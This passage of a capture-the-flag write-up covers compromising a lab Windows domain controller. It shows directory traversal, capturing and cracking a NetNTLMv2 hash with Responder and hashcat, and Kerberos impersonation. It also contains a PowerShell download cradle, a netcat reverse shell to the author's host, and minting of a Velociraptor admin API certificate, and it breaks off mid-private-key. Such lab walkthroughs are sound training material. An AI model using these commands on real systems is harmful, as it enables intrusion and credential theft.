    default_ccache_name = FILE:/home/%{username}/krb5cc

[realms]
    LUSTROUS2.VL = {
        kdc = lus2dc.Lustrous2.vl
        admin_server = lus2dc.Lustrous2.vl
        default_domain = Lustrous2.vl
    }

[domain_realm]
    .Lustrous2.vl = LUSTROUS2.VL
    Lustrous2.vl = LUSTROUS2.VL

And re-authenticate so that the ticket is in my home directory:

oxdf@hacky$ klist
Ticket cache: FILE:/home/oxdf/krb5cc
Default principal: thomas.myers@LUSTROUS2.VL

Valid starting       Expires              Service principal
07/25/2025 15:42:36  07/26/2025 01:42:36  krbtgt/LUSTROUS2.VL@LUSTROUS2.VL
        renew until 07/26/2025 15:42:32
07/25/2025 15:44:19  07/26/2025 01:42:36  HTTP/lus2dc.lustrous2.vl@
        renew until 07/26/2025 15:42:32
        Ticket server: HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL

Now on loading the page, it loads!

Alternatively, I could use something like getTGT.py to generate the TGT and then export KRB5CCNAME pointing to the TGT.

Recover Password

Website Enumeration

The site when authenticated is very simple:

image-20250725114918659

Clicking “Download” returns the same file from the FTP server.

File Read

The request to get the file looks like:

GET /File/Download?fileName=audit.txt HTTP/1.1
Host: lus2dc.lustrous2.vl
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: http://lus2dc.lustrous2.vl/
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Authorization: Negotiate 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


Unfortunately, I can’t send this to Burp Repeater to play with, as it breaks the auth.

I’ll use curl, first to verify I can get the file:

oxdf@hacky$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=audit.txt
Audit Report Issue Tracking

[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled

[Open] Weak User Passwords

If I try to get a file that doesn’t exist, it returns 404:

oxdf@hacky$ curl -I --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=0xdf.txt
HTTP/1.1 404 Not Found
Transfer-Encoding: chunked
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate oYG3MIG0oAMKAQChCwYJKoZIhvcSAQICooGfBIGcYIGZBgkqhkiG9xIBAgICAG+BiTCBhqADAgEFoQMCAQ+iejB4oAMCARKicQRvujwfk2HzRNPLBbXJqy8zNGD4bPQaoUDezVkTVFCNP6Q+EN7gNtv/+ZUM5wVZ00OJ7Rny4EUY1Mgk91iZ4OpTDs48Q94vh0WVOHmQuI1kzAEaOLk1S1ZAKmFnPbF+4cwA7GjMsYHJcsHl+znB5YnL
Persistent-Auth: true
X-Powered-By: ASP.NET
Date: Fri, 25 Jul 2025 16:10:23 GMT

To check for directory traversal, I’ll try to read the hosts file:

oxdf@hacky$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../../../windows/system32/drivers/etc/hosts
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host

# localhost name resolution is handled within DNS itself.
#       127.0.0.1       localhost
#       ::1             localhost

It works!

NetNTLMv2

It’s hard to know exactly what files to read at this point, or even as what user the site is running as. Windows is nice enough for most cases where it is trying to read a file if that file is on a share, it will try to open it from that share. I’ll start Responder and have it read a file from my host:

oxdf@hacky$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=//10.10.14.79/share/test

On running, it hangs and there’s traffic at Responder:

oxdf@hacky$ sudo /opt/Responder/Responder.py -I tun0
...[snip]...
[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.79]
    Responder IPv6             [dead:beef:2::104d]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']
    Don't Respond To MDNS TLD  ['_DOSVC']
    TTL for poisoned response  [default]

[+] Current Session Variables:
    Responder Machine Name     [WIN-1B226WYYWQW]
    Responder Domain Name      [VOOO.LOCAL]
    Responder DCE-RPC Port     [47233]

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.234.174
[SMB] NTLMv2-SSP Username : LUSTROUS2\ShareSvc
[SMB] NTLMv2-SSP Hash     : ShareSvc::LUSTROUS2:71fb2c9d9e59ca43:95F26661B93F71027F974D7B54F88675:010100000000000000A7195F96FDDB01EFFC1B7EBCF04456000000000200080056004F004F004F0001001E00570049004E002D003100420032003200360057005900590057005100570004003400570049004E002D00310042003200320036005700590059005700510057002E0056004F004F004F002E004C004F00430041004C000300140056004F004F004F002E004C004F00430041004C000500140056004F004F004F002E004C004F00430041004C000700080000A7195F96FDDB0106000400020000000800300030000000000000000000000000210000DA727D1661722CE2474FF85D61E83727AFE7CEFAA21ECB765E54B20261926CF20A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00370039000000000000000000

That’s a NetNTLMv2 challenge response (often referred to as a hash).

Crack Password

I’ll save that into a file and pass it to hashcat:

$ hashcat sharesvc.netntlmv2 /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

5600 | NetNTLMv2 | Network Protocol
...[snip]...
SHARESVC::LUSTROUS2:71fb2c9d9e59ca43:95f26661b93f71027f974d7b54f88675:010100000000000000a7195f96fddb01effc1b7ebcf04456000000000200080056004f004f004f0001001e00570049004e002d003100420032003200360057005900590057005100570004003400570049004e002d00310042003200320036005700590059005700510057002e0056004f004f004f002e004c004f00430041004c000300140056004f004f004f002e004c004f00430041004c000500140056004f004f004f002e004c004f00430041004c000700080000a7195f96fddb0106000400020000000800300030000000000000000000000000210000da727d1661722ce2474ff85d61e83727afe7cefaa21ecb765e54b20261926cf20a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e00370039000000000000000000:#1Service
...[snip]...

On my machine it takes less than 10 seconds to crack as “#1Service”.

This password works over SMB:

oxdf@hacky$ netexec smb lus2dc.lustrous2.vl -u sharesvc -p '#1Service' -k
SMB         lus2dc.lustrous2.vl 445    lus2dc           [*]  x64 (name:lus2dc) (domain:lustrous2.vl) (signing:True) (SMBv1:False) (NTLM:False)
SMB         lus2dc.lustrous2.vl 445    lus2dc           [+] lustrous2.vl\sharesvc:#1Service 

Shell as ShareSvc

Enumeration

Collect Web Files

It seems reasonable that the website will have a web.config file. It’s not clear what directory the site is running from, but after a couple guesses I find it:

oxdf@hacky$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=web.config
oxdf@hacky$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../web.config
oxdf@hacky$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <location path="." inheritInChildApplications="false">
    <system.webServer>
      <handlers>
        <add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModuleV2" resourceType="Unspecified" />
      </handlers>
      <aspNetCore processPath="dotnet" arguments=".\LuShare.dll" stdoutLogEnabled="false" stdoutLogFile=".\logs\stdout" hostingModel="inprocess" />
    </system.webServer>
  </location>
</configuration>
<!--ProjectGuid: 4E46018E-B73C-4E7B-8DA2-87855F22435A-->

There’s a DotNet LuShare.dll sitting in the same directory. I’ll download it:

oxdf@hacky$ curl --negotiate -u : http://lus2dc.lustrous2.vl/File/Download?fileName=../../LuShare.dll --output LuShare.dll
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 53760  100 53760    0     0   138k      0 --:--:-- --:--:-- --:--:--  138k

Reverse LuShare.dll

I like DotPeek for DotNet reversing (through ILSpy is perfectly good for staying on Linux). I’ll open LuShare.dll and note right away that the Controllers show more than what I’ve seen in the application so far:

image-20250725161636175

Index shows the page with the list of files. Download manages the download:

    public IActionResult Download(string fileName)
    {
      if (string.IsNullOrEmpty(fileName))
        return (IActionResult) this.NotFound();
      string path = Path.Combine(this._uploadFolder, fileName);
      if (!System.IO.File.Exists(path))
        return (IActionResult) this.NotFound();
      MemoryStream memoryStream = new MemoryStream();
      using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
        fileStream.CopyTo((Stream) memoryStream);
      memoryStream.Position = 0L;
      return (IActionResult) this.File((Stream) memoryStream, "application/octet-stream", fileName);
    }

The two Upload methods (one for GET and the other for POST) handle a form for uploading and the POST request to make the upload:

    [Authorize(Roles = "ShareAdmins")]
    public IActionResult Upload() => (IActionResult) this.View();

    [HttpPost]
    [Authorize(Roles = "ShareAdmins")]
    public async Task<IActionResult> Upload(IFormFile file)
    {
      FileController fileController = this;
      if (file == null || file.Length <= 0L)
        return (IActionResult) fileController.View();
      string fileName = Path.GetFileName(file.FileName);
      using (FileStream stream = new FileStream(Path.Combine(fileController._uploadFolder, fileName), FileMode.Create))
        await file.CopyToAsync((Stream) stream);
      return (IActionResult) fileController.RedirectToAction("Index");
    }

Both of these are restricted to ShareAdmins, which is probably why I couldn’t see them. It makes sense there’s a functionality to upload files.

There’s also GET and POST methods for Debug:

    [Authorize(Roles = "ShareAdmins")]
    public IActionResult Debug() => (IActionResult) this.View();

    [Authorize(Roles = "ShareAdmins")]
    [HttpPost]
    public IActionResult Debug(string command, string pin)
    {
      string str = "ba45c518";
      if (string.IsNullOrWhiteSpace(command) || command.Length > 100)
        return (IActionResult) this.BadRequest((object) "Invalid or too long command.");
      if (!string.IsNullOrWhiteSpace(pin))
      {
        if (!(pin != str))
        {
          try
          {
            using (PowerShell powerShell = PowerShell.Create())
            {
              powerShell.Runspace.SessionStateProxy.LanguageMode = PSLanguageMode.ConstrainedLanguage;
              powerShell.AddScript(command, false);
              Collection<PSObject> collection = powerShell.Invoke();
              StringBuilder stringBuilder = new StringBuilder();
              foreach (PSObject psObject in collection)
                stringBuilder.AppendLine(psObject.ToString());
              if (powerShell.Streams.Error.Count > 0)
              {
                stringBuilder.AppendLine("Errors:");
                foreach (ErrorRecord errorRecord in powerShell.Streams.Error)
                  stringBuilder.AppendLine(errorRecord.ToString());
              }
              return (IActionResult) this.Content(stringBuilder.ToString(), "text/plain");
            }
          }
          catch (Exception ex)
          {
            return (IActionResult) this.Content("Error running PowerShell command: " + ex.Message, "text/plain");
          }
        }
      }
      return (IActionResult) this.BadRequest((object) "Invalid PIN.");
    }

These are also limited to ShareAdmins. The POST request allows for executing a command with the hardcoded pin, “ba45c518”.

ShareAdmins

The ShareAdmins group is an active directory group, which I can see in BloodHound:

image-20250725172955076

There are two members. There’s no obvious outbound control.

Shell

Ryan.Davies on Web App

If different users have access to different files, it would make sense for the web application to have some delegation so that it can access other resources as the user on the website. I can try to get a service ticket as another user for the website SPN using getST:

oxdf@hacky$ getST.py -self -impersonate ryan.davies -k 'LUSTROUS2.VL/ShareSvc:#1Service' -altservice HTTP/lus2dc.lustrous2.vl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating ryan.davies
[*] Requesting S4U2self
[*] Changing service from ShareSvc@LUSTROUS2.VL to HTTP/lus2dc.lustrous2.vl@LUSTROUS2.VL
[*] Saving ticket in ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache

I did have some issues with capitalization here. When I used lustrous2.vl/ShareSvc:#1Service as the target, it doesn’t work. It has something to do with my krb5.conf file and how the domain is specified.

Now I can curl as Ryan.Davies:

oxdf@hacky$ KRB5CCNAME=ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache curl --negotiate -u : http://lus2dc.lustrous2.vl -I 
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
WWW-Authenticate: Negotiate oYG3MIG0oAMKAQChCwYJKoZIhvcSAQICooGfBIGcYIGZBgkqhkiG9xIBAgICAG+BiTCBhqADAgEFoQMCAQ+iejB4oAMCARKicQRv63WrcQsFOZdHFNICVTmOVKPlYLeD5fUmATsGXqC+hxVuD/L0fN3km5AatpQ2dKaX0U2DFAYOJsZVGJLnfPDKaarfs1x/Jxzu8FUOYMXLKAEcWD6+09+g/o0bx4Ge8fpwHpCufwU6EyM4FisOiXh0
Persistent-Auth: true
X-Powered-By: ASP.NET
Date: Sat, 26 Jul 2025 14:24:58 GMT

I’ll export this ticket:

oxdf@hacky$ export KRB5CCNAME=ryan.davies@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache 

And now Firefox loads as Ryan.Davies as well:

image-20250727052411324

Debug

There’s an upload link in the nav bar now that loads /File/Upload:

image-20250727053028790

I can give it a file and it shows up in the List:

image-20250727053044620

There’s also the Debug endpoint in the dll. I can guess the path for that, or there’s a commented out item in the nav bar:

image-20250727053143518

It takes a command and a pin:

image-20250727053209626

I have the pin “ba45c518” from the reversing above. I’ll give it whoami /all, and it generates that output:

image-20250727053314562 expand

Reverse Shell

I’ll try to give the Debug endpoint the PowerShell #3 (Base64) reverse shell from revshells.com, but it returns “Invalid or too long command.”

I’ll try using a download cradle to fetch PowerShell from a webserver I host and run it with:

iex(New-Object Net.Webclient).downloadstring('http://10.10.14.79/shell.ps1')

It returns an error as well:

image-20250727053905738

I’ll upload netcat and then use it to get a shell. I’ll have my webserver hosting nc64.exe, and give it:

iwr http://10.10.14.79/nc64.exe -outfile \programdata\nc64.exe

It returns nothing, but there is a hit on my webserver:

10.129.234.174 - - [27/Jul/2025 09:55:58] "GET /nc64.exe HTTP/1.1" 200 -

Now I’ll give the Debug endpoint:

\programdata\nc64.exe 10.10.14.79 443 -e powershell

On executing, I get a reverse shell:

oxdf@hacky$ rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.234.174 57529
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\inetpub\lushare> 

The user flag is at the root of the C: drive:

PS C:\> type user_2e9c1.txt
6494ab71bc02f78081f1696bd233866e

Shell as System

Enumeration

Filesystem

The only interesting user home directory on the box is Administrator:

PS C:\users> ls

    Directory: C:\users

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         8/31/2024   1:56 AM                .NET v4.5
d-----         8/31/2024   1:56 AM                .NET v4.5 Classic
d-----          9/6/2024   5:39 AM                Administrator
d-r---         8/31/2024   1:03 AM                Public  

The C: root has a couple non-standard directories:

PS C:\> ls

    Directory: C:\

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         7/26/2025   3:48 AM                datastore
d-----         4/14/2025   4:50 PM                inetpub
d-----          5/8/2021   1:20 AM                PerfLogs
d-r---         4/14/2025   2:57 AM                Program Files
d-----          9/6/2024   5:38 AM                Program Files (x86)
d-----         4/14/2025   4:44 AM                Public
d-----          9/6/2024   6:57 AM                temp
d-r---         8/31/2024   1:56 AM                Users
d-----         6/26/2025   7:12 AM                Windows
-a----         4/14/2025   4:41 AM             32 user_2e9c1.txt  

Public is the FTP source. datastore has an interesting structure that will turn out to be the storage for Velociraptor:

PS C:\datastore> ls

    Directory: C:\datastore

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          9/6/2024   8:48 AM                acl
d-----         7/26/2025   3:48 AM                backups
d-----          9/6/2024   8:35 AM                clients
d-----          9/6/2024   8:39 AM                client_info
d-----          9/6/2024   8:34 AM                config
d-----         7/25/2025   5:57 AM                logs
d-----          9/6/2024   8:35 AM                notebooks
d-----          9/6/2024   8:34 AM                server_artifacts
d-----          9/6/2024   8:34 AM                server_artifact_logs
d-----          9/6/2024   8:44 AM                users     

In Program Files, both the client and the server of Velociraptor are installed:

PS C:\Program Files> ls

    Directory: C:\Program Files

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         4/14/2025   3:05 AM                Amazon
d-----         8/31/2024   1:03 AM                Common Files
d-----          9/6/2024   5:39 AM                dotnet
d-----          9/6/2024   5:38 AM                IIS
d-----         4/14/2025   4:50 PM                Internet Explorer
d-----          5/8/2021   1:20 AM                ModifiableWindowsApps
d-----          9/6/2024   8:35 AM                Velociraptor
d-----          9/6/2024   8:34 AM                VelociraptorServer
d-----         4/14/2025   2:57 AM                VMware
d-----         8/31/2024   1:55 AM                Windows Defender
d-----         6/26/2025   7:12 AM                Windows Defender Advanced Threat Protection
d-----         4/14/2025   4:50 PM                Windows Mail
d-----         4/14/2025   4:50 PM                Windows Media Player
d-----          5/8/2021   2:35 AM                Windows NT
d-----         4/14/2025   4:50 PM                Windows Photo Viewer
d-----          5/8/2021   1:34 AM                WindowsPowerShell  

The VelociraptorServer directory has the binary, as well as config files for both the client and the server:

PS C:\Program Files\VelociraptorServer> ls

    Directory: C:\Program Files\VelociraptorServer

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          9/6/2024   8:34 AM           2563 client.config.yaml
-a----          9/6/2024   8:34 AM          12972 server.config.yaml
-a----          9/6/2024   8:03 AM       60144064 velociraptor-v0.72.4-windows-amd64.exe

Abuse Velociraptor

Access API

Velociraptor is a digital forensics / incidence response tool from Rapid7 designed to collect data from endpoints.

With access to both the config files, I am able to create an API key and get access to the Velociraptor API, which will allow me to execute commands on the system as the privileged user. This is all documented here.

The Creating an API client configuration section shows how to do this running the config api_client command. I’ll need the following options as laid on in the docs:

  1. --config server.config.yaml: load the server config which contains the CA private keys needed to sign a new minted certificate. This also allows the CLI command to create a new user in the server’s datastore.
  2. config api_client: generate an api_client configuration, including client certificate.
  3. --name Mike: Certificates represent user identities. The name of the certificate will be used to identify the caller and enforce ACLs on it. If the user does not exist then it will be created in the datastore and the server will need to be restarted for it to recognize the new user.
  4. --role administrator: This option will also assign a role to the new identity. The role is used to test permissions of what the caller may do. If --role is specified then the user will be created on the server if it does not already exist. In the example above the user is granted the role administrator which includes all the permissions of the minimal API role api - see note below.

One detail to notice is in the --name parameter. If the name given doesn’t exist, that user will be created in the database, but the server will need to be restarted before it will be recognized. As I don’t yet have a way to restart Velociraptor, I should find an existing user. Luckily, server.config.yaml has this section:

  initial_users:                                                              
  - name: admin                                                               
    password_hash: 43b7f91087b5a1bcb978d776a23330d3bf4a2c31017c0b1865ddae21c942e06d
    password_salt: 01e48c09468dcde741b493c49904cfdfcb4fa9a188efb27fa233e70265a6d4e5

I’ll create a config for the admin user:

PS C:\Program Files\VelociraptorServer> .\velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml config api_client --name admin --role administrator \programdata\api.config.yaml
.\velociraptor-v0.72.4-windows-amd64.exe --config server.config.yaml config api_client --name admin --role administrator \programdata\api.config.yaml
[ERROR] 2025-07-27T04:01:58-07:00 Unable to open file \\?\c:\datastore\config\inventory.json.db: open \\?\c:\datastore\config\inventory.json.db: Access is denied. 
[ERROR] 2025-07-27T04:01:58-07:00 Unable to open file \\?\c:\datastore\config\inventory.json.db: open \\?\c:\datastore\config\inventory.json.db: Access is denied. 
[ERROR] 2025-07-27T04:01:58-07:00 Unable to open file \\?\c:\datastore\config\inventory.json.db: open \\?\c:\datastore\config\inventory.json.db: Access is denied. 
Creating API client file on \programdata\api.config.yaml.
[ERROR] 2025-07-27T04:01:58-07:00 Unable to open file \\?\c:\datastore\acl\admin.json.db: open \\?\c:\datastore\acl\admin.json.db: Access is denied. 
velociraptor-v0.72.4-windows-amd64.exe: error: config api_client: Unable to set role ACL: open \\?\c:\datastore\acl\admin.json.db: Access is denied.

There’s a couple errors, but the client config is still generated:

ca_certificate: |
  -----BEGIN CERTIFICATE-----
  MIIDSzCCAjOgAwIBAgIQIRnpQjrW1aIURqQbu2cKojANBgkqhkiG9w0BAQsFADAa
  MRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwHhcNMjQwOTA2MTUzNDA0WhcNMzQw
  OTA0MTUzNDA0WjAaMRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwggEiMA0GCSqG
  SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjJw2CgQEZOA4WGz2iSi2Wre432XHGPNmS
  SCb47TG3BIW7YPvD73frcEhhX2ixWLXPpfs7qQdMe9Zi5rV16RgXw25R9x13awU5
  1J/KUeNiMxmrQB9KSCUHO3e8kDEuLC0wV26K76TVX8KIm0vklJP4mpv7Mj9CgHBN
  4qGwTqB1y7h2wyTanUJlwasY/lGU5u7w4wj2z6+OOOA+/S9NEiJ3Sw+fcd+dma2C
  kzqFEYioa3GED+veIfu+OFRyWaO3Pce2gV57ZXnli3AhtQMoFb1w5l6O5IQzhrKU
  7inc3KSb8kG+2vzQB4jwGLU0+wbSkyckXY+5592uIG3tVvdy+L9bAgMBAAGjgYww
  gYkwDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcD
  AjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTfTRyiGGBqOr5F541v8pOYkcFz
  ADAoBgNVHREEITAfgh1WZWxvY2lyYXB0b3JfY2EudmVsb2NpZGV4LmNvbTANBgkq
  hkiG9w0BAQsFAAOCAQEAt4tFN1KZF1wrmhOT/1f0DXnwgaACkhJmC2HARfp46hGY
  FvqumxwNkUTc0hyPdwK2iy+57RCTS70CgGvsvSf6bDx7jSBpBJ8KzYXxOwcNRPaK
  4KJV7ZQQA2U6ax3c5LNuUupY63tRh7j/AgeVvnVP8CLTEvWTHD1kEQ/cTyn0XDSn
  7yINImANYuWJkWO6i9eKXYxTGXWhG+n1xEmQvZIed8SsOyt/pvTbFnUtKNTokUnb
  B71PNi/CkZRJpULuAk9eJvLgKhEgIeVpY2rxYvVPBJNqwWwGypKOzWGX0+ueQReQ
  is5cJn9DbPiu82yg/HdQu9vfroG+QktqdZgx5KJkxA==
  -----END CERTIFICATE-----
client_cert: |
  -----BEGIN CERTIFICATE-----
  MIIDPTCCAiWgAwIBAgIQIcjX4xAoEYwTIkJ9Kw7xiTANBgkqhkiG9w0BAQsFADAa
  MRgwFgYDVQQKEw9WZWxvY2lyYXB0b3IgQ0EwHhcNMjUwNzI3MTEwMTU4WhcNMjYw
  NzI3MTEwMTU4WjAnMRUwEwYDVQQKEwxWZWxvY2lyYXB0b3IxDjAMBgNVBAMTBWFk
  bWluMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtU9kejeRbSl40APZ
  NkcMU/BlJYYcbenrxSeUM6CLLKO07yHlOFAZVS7dhyMPsjgNxdFLxBMRhTUkbULy
  hRJr2ZyDqIZdqw4LBGAB8ezcJoP4nde4davlHze3IafMPk7Vuvhrcto0I6T8eQ2H
  qI812IFAPpMDeDMvEnvCzjpx6Gcmkm64QtXdTSq4B3wkCTjxcH8vPJhjWpbuadeW
  ogsmKQFrFwDJQ9evTEXbNh8f83QjG0PKTszWCOWscpogCQ8NXDfjCHFazqwiTkKk
  1vdpx+QGGsEJ0GyEaDybg/kGhHYxR2Zh9hJj1EbPNYLgTJ2nQSXPHAitW19aS1IQ
  dBTKKQIDAQABo3IwcDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUH
  AwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHwYDVR0jBBgwFoAU300cohhgajq+
  ReeNb/KTmJHBcwAwEAYDVR0RBAkwB4IFYWRtaW4wDQYJKoZIhvcNAQELBQADggEB
  ANWI46UThc9UpMeOtNChkwj2eSpAVY9JyWtVafKGhG4KMQXbgO6aQUvfrJo2/MYR
  AFz9zFVvTK+DLQ0JPnB2/a9TM9EhxrmZLMrr6OHG+cdasoX8sgtQjElF6ajTq/Qp
  PcALskDccErjGE8DHQcZG9wHmPRbdhgNSKFl7y3FJJS+NHCWhnp05cFki1LjX9NR
  rl3ZOHUC5I1mFOckYcFtJQPxry6wuqD2ntc2ZHbSQZAlqfjtyUxGImxbvcsXLBrZ
  y5n+6RYu3ganZFpYU8H7Z91EBpRcwuXfkrvEI+U9Vvjc8a48RBzMejYrYvh4A0V6
  8oN94yMcjJuA2t03ayEIRpI=
  -----END CERTIFICATE-----
client_private_key: |
  -----BEGIN RSA PRIVATE KEY-----
  MIIEpAIBAAKCAQEAtU9kejeRbSl40APZNkcMU/BlJYYcbenrxSeUM6CLLKO07yHl
  OFAZVS7dhyMPsjgNxdFLxBMRhTUkbULyhRJr2ZyDqIZdqw4LBGAB8ezcJoP4nde4
  davlHze3IafMPk7Vuvhrcto0I6T8eQ2HqI812IFAPpMDeDMvEnvCzjpx6Gcmkm64
  QtXdTSq4B3wkCTjxcH8vPJhjWpbuadeWogsmKQFrFwDJQ9evTEXbNh8f83QjG0PK
  TszWCOWscpogCQ8NXDfjCHFazqwiTkKk1vdpx+QGGsEJ0GyEaDybg/kGhHYxR2Zh
  9hJj1EbPNYLgTJ2nQSXPHAitW19aS1IQdBTKKQIDAQABAoIBAQCde2Qus+1g/9Cr
  /WvBtVyD3B4+xYoT/kaHbKVRYnUARQF3Y92RWCFo19ga9N1BU2bDF9PTbyyco1gM
